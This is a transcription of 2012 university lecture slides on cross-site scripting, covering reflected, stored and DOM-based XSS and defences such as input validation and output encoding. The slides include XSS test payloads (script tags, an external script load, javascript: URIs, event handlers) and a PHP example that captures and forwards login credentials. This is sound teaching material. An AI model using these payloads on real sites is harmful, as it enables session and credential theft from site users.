Web Security, Summer Term 2012

Similar documents
Web Security, Summer Term 2012

Hacking Web Sites Cross Site Scripting

Client Side Injection on Web Applications

Web Security: Vulnerabilities & Attacks

Project 3 Web Security Part 1. Outline

Web basics: HTTP cookies

Web basics: HTTP cookies

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

CSC 405 Computer Security. Web Security

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

CSCE 813 Internet Security Case Study II: XSS

7.2.4 on Media content; on XSS) sws2 1

WEB SECURITY: XSS & CSRF

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Web Application Security

CSCD 303 Essential Computer Security Fall 2017

CIS 4360 Secure Computer Systems XSS

Advanced Web Technology 10) XSS, CSRF and SQL Injection

Information Security CS 526 Topic 8

Welcome to the OWASP TOP 10

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Common Websites Security Issues. Ziv Perry

CSCD 303 Essential Computer Security Fall 2018

Web Security IV: Cross-Site Attacks

Andrew Muller, Canberra Managing Director, Ionize, Canberra The challenges of Security Testing. Security Testing. Taming the Wild West

Web Security, Part 2

Information Security CS 526 Topic 11

About the OWASP Top 10

Web Security, Summer Term 2012

Web Security, Summer Term 2012

NET 311 INFORMATION SECURITY

Web Application Security. Philippe Bogaerts

Sichere Software vom Java-Entwickler

Preparing for the Cross Site Request Forgery Defense

Uniform Resource Locators (URL)

CS 161 Computer Security

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Some Facts Web 2.0/Ajax Security

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Computer Security CS 426 Lecture 41

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

RKN 2015 Application Layer Short Summary

The Hacker s Guide to XSS

Web 2.0 Attacks Explained

This slide shows the OWASP Top 10 Web Application Security Risks of 2017, which is a list of the currently most dangerous web vulnerabilities in

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

MWR InfoSecurity Advisory. 26 th April Elastic Path Administrative. Quit. Session Hijacking through Embedded XSS

CNIT 129S: Securing Web Applications. Ch 10: Attacking Back-End Components

Code-Injection Attacks in Browsers Supporting Policies. Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos FORTH-ICS

Client Side Security And Testing Tools

Attacking the Application OWASP. The OWASP Foundation. Dave Ferguson, CISSP Security Consultant FishNet Security.

P2_L12 Web Security Page 1

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le

AJAX: Rich Internet Applications

Introduction to Ethical Hacking

CSCE 120: Learning To Code

WHY CSRF WORKS. Implicit authentication by Web browsers

Beijing , China. Keywords: Web system, XSS vulnerability, Filtering mechanisms, Vulnerability scanning.

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web


Security. CSC309 TA: Sukwon Oh

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Information Security. Gabriel Lawrence Director, IT Security UCSD

Combating Common Web App Authentication Threats

Web Security. Adam C. Champion and Dong Xuan CSE 4471: Information Security

LECT 8 WEB SECURITY BROWSER SECURITY. Repetition Lect 7. WEB Security

JavaScript is described in detail in many books on the subject, and there is excellent tutorial material at

BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION

Detecting XSS Based Web Application Vulnerabilities

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

Web Security: Vulnerabilities & Attacks

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

Exploiting and Defending: Common Web Application Vulnerabilities

Web development using PHP & MySQL with HTML5, CSS, JavaScript

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection

Browser code isolation

Web Application Penetration Testing

Progress Exchange June, Phoenix, AZ, USA 1

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

shortcut Tap into learning NOW! Visit for a complete list of Short Cuts. Your Short Cut to Knowledge

Lecture : 3. Practical : 2. Course Credit. Tutorial : 0. Total : 5. Course Learning Outcomes

Avoiding Web Application Flaws In Embedded Devices. Jake Edge LWN.net URL for slides:

C1: Define Security Requirements

W e b A p p l i c a t i o n S e c u r i t y : T h e D e v i l i s i n t h e D e t a i l s

7) Malicious File Execution

WebGoat Lab session overview

CS 161 Computer Security

OWASP TOP 10. By: Ilia

Penetration Test Report

Your Turn to Hack the OWASP Top 10!

CS 361S - Network Security and Privacy Spring Project #1

COMP9321 Web Application Engineering

PHP Security. Kevin Schroeder Zend Technologies. Copyright 2007, Zend Technologies Inc.

Web Applilicati tion S i ecur t ity SIRT Se u c i r ty ity T a r i aining April 9th, 2009

Transcription:

Table of Contents IIG University of Freiburg Web Security, Summer Term 2012 Cross Site Scripting - XSS Dr. E. Benoist Sommer Semester Presentation: Inject Javascript in a Page Javascript for manipulating the DOM XSS Factsheets Countermeasures Web Security, Summer Term 2012 5 Cross Site Scripting 1 Web Security, Summer Term 2012 5 Cross Site Scripting 2 Cross Site Scripting - XSS modus Operandi If the web site allows uncontrolled content to be supplied by users User can write content in a Guest-book or Forum User can introduce malicious code in the content Example of malicious code Modification of the Document Object Model - DOM (change some links, add some buttons) Send personal information to thirds (javascript can send cookies to other sites) Attacker Executes Script on the Victim s machine Is usually Javascript Can be any script language supported by the victim s browser Three types of Cross Site Scripting Reflected Stored DOM injection Web Security, Summer Term 2012 5 Cross Site Scripting 3 Web Security, Summer Term 2012 5 Cross Site Scripting 4

Reflected XSS Stored XSS The easiest exploit A page will reflect user supplied data directly back to the user echo $ REQUEST[ userinput ]; So when the user types: <script type= text/javascript > alert( Hello World ); </script> He receives an alert in his browser Danger If the URL (containing GET parameters) is delivered by a third to the victim The Victim will access a modified page SSL certificate and security warning are OK!!! Web Security, Summer Term 2012 5 Cross Site Scripting 5 Hostile Data is taken and stored In a file In a Database or in any other backend system Then Data is sent back to any visitor of the web site Risk when large number of users can see unfiltered content Very dangerous for Content Management Systems (CMS) Blogs forums Web Security, Summer Term 2012 5 Cross Site Scripting 6 DOM Based XSS Real XSS are a mix of the three types Document Object Model The document is represented using a tree The tree is rooted with the document node Each tag and text is part of the tree XSS Modifies the Document Object Model (DOM) Javascript can manipulate all the document It can create new nodes, Remove existing nodes Change the content of some nodes To be efficient an attacker has to combine the types Attacker logs on the system types his malicious content content is stored on the server (often in a Database) When the user visits the site his dom is manipulated Target: Send information to another site or another part of the site Web Security, Summer Term 2012 5 Cross Site Scripting 7 Web Security, Summer Term 2012 5 Cross Site Scripting 8

Javascript for manipulating the DOM Web Security, Summer Term 2012 5 Cross Site Scripting 9 Document Object Model (Cont.) Document Object Model HTML is converted into a tree <html> <body> <div id= header > <h1>title of the page</h1> <div id= menu > <ul id= menu list > <li class= menuitem > <a href= index.php?id=1 >One</a> </li> <li class= menuitem ><a href= index.php?id=2 >Two</a></li> <li class= menuitem ><a href= index.php?id=3 >Three</a></li> </ul> <div id= content > <p> Hello World </p> </body> </html> Web Security, Summer Term 2012 5 Cross Site Scripting 10 Javascript can manipulate the DOM Create a new node and insert it in the tree var newli = document.createelement( li ); var newtxtli = document.createtextnode( Four ); newli.appendchild(newtxtli); document.getelementbyid( menu list ).appendchild(newli); Delete a node firstchild = document.getelementbyid( menu list ).firstchild; document.getelementbyid( menu list ).removechild(firstchild); Modify a node document.getelementbyid( addbutton ).onclick=otherfunction; Web Security, Summer Term 2012 5 Cross Site Scripting 11 Web Security, Summer Term 2012 5 Cross Site Scripting 12

Spy the content of a form Spy remains unnoticed by the user AJAX Asynchronous Javascript and XML Suppose a page contains such a form <form action= login.php method= POST id= login form > Username <input type= text name= username >, Password <input type= password name= password > </form> If the following Javascript is injected in the page document.getelementbyid( login form ).action= spy.php ; And the spy.php looks like: $username = $ REQUEST[ username ]; $password = $ REQUEST[ password ]; // Save data in a Data base or a file $newurl = http://www.mysite.de/login.php ; $newurl.=?username=$username&password=$password header( location: $newurl ); Javascript is used for interacting with the client Client receive the page from the server Javascript handles events, reacts to key down, value changed, mouse-over, etc. Javascript establishes an asynchronous communication with the server Creates a XMLHTTPRequest object Sends a request to the server (without refreshing the page) Modifies the page according to the data received from the server Web Security, Summer Term 2012 5 Cross Site Scripting 13 Web Security, Summer Term 2012 5 Cross Site Scripting 14 AJAX Example Connect another server We have a Form containing a selection box On Change of the selection, the function showcustomer() is executed The function creates an Object (XMLHttpRequest or its MS-cousins) A request is sent to a PHP file, The PHP program generates a Table The table is included in the html DOM. Same Origin Policy prevents from connecting another server Browser is configured to connect only one site It can also connect to other sites in the same domain or subdomain Javascript is allowed only to send XMLHTTPRequest object to the server of the page Attacker wants to receive information elsewhere: Modify the DOM to insert a new file Create a request that contains the information If the file contains JavaScript, a communication is possible!!! Web Security, Summer Term 2012 5 Cross Site Scripting 15 Web Security, Summer Term 2012 5 Cross Site Scripting 16

Testing Strategy Suppress any javascript in posts Test is post contains a javascript instruction Quite Hard, can be hidden. Examples of javascript instructions Javascript in <script> tag (the normal way) <script type= text/javascript > // Here comes the script </script> Or from an external file 1 <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Javascript as eventhandler <span onmouseover= alert(10); >Test 1</span> Javascript as URL <a href= javascript:alert( XSS ); >Test 3</a> 1 Source: http://ha.ckers.org/xss.html Web Security, Summer Term 2012 5 Cross Site Scripting 17 Examples of tests 2 The following XSS scripts can be inserted in pages, to test if the protection is in order: Display a alert with XSS ;! <XSS>=&{()} Loads the file xss.js on the corresponding server <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> The false image loads a javascript <IMG SRC= javascript:alert( XSS ); > 2 Source: http://ha.ckers.org/xss.html Web Security, Summer Term 2012 5 Cross Site Scripting 18 Examples of tests (Cont.) The same instruction using UTF-8 encoding Protection Combination of <IMG SRC=javascript:alert(&#39;XS& Adding some extra brackets will allow to circumvent some testers Whitelist validation of all incoming data <<SCRIPT>alert( XSS );//<</SCRIPT> Don t use the javascript instruction <BODY ONLOAD=alert( XSS )> Use the Meta tag <META HTTP EQUIV= refresh CONTENT= 0; URL=http://;URL=javascript:alert( XSS ); > Allows the detection of attacks Appropriate encoding of all output data. prevents any successful script injection from running in the browser Web Security, Summer Term 2012 5 Cross Site Scripting 19 Web Security, Summer Term 2012 5 Cross Site Scripting 20

Input Validation Strong Output Encoding Use Standard input validation mechanism Validate length, type, syntax and business rules Use the Accept known good validation Reject invalid input Do not attempt to sanitize potentially hostile data Do not forget that error messages might also include invalid data Ensure that all user-supplied data is appropriately entity encoded before rendering HTML or XML depending on output mechanism means <script> is encoded <script> Encode all characters other than a very limited subset Set the character encoding for each page you output specify the character encoding (e.g. ISO 8859-1 or UTF 8) Do not allow attacker to choose this for your users Web Security, Summer Term 2012 5 Cross Site Scripting 21 Web Security, Summer Term 2012 5 Cross Site Scripting 22 Language Specific recommendations Decoding / Encoding Untrusted Data 3 Java Use Struts or JSF output validation and output mechanisms Or use the JSTL escapexml="true" attribute in <c:out...> Do not use <%= %>.NET: use the Microsoft Anti-XSS Library PHP: Ensure Output is passed through htmlentities() or htmlspecialchars() You can also use the ESAPI library developped by OWASP Content is first validated Then it is canonicalize()d to be stored The output is then encoded using: encodeforhtml(), encodeforhtmlattribute() or encodeforjavascript() functions (depending on the use). 3 Source: Javadoc documentation of the ESAPI package Web Security, Summer Term 2012 5 Cross Site Scripting 23 Web Security, Summer Term 2012 5 Cross Site Scripting 24

Conclusion: Cross Site Scripting References Attacker injects input in a page Stored data in pages where many users can send input: CMS, Guestbook, etc. Or Reflecting-XSS in a field that is displayed to the user. Javascript takes control of the Victim s browser Can manipulate the Document Object Model (modify the page) Can send information to a third server Countermeasures Validation of input (rejection of anything that could be invalid) Encoding of output. OWASP Top 10-2010 http://www.owasp.org/index.php/category: OWASP_Top_Ten_Project A Guide for Building Secure Web Applications and Web Services http://www.owasp.org/index.php/category: OWASP_Guide_Project XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html Web Security, Summer Term 2012 5 Cross Site Scripting 25 Web Security, Summer Term 2012 5 Cross Site Scripting 26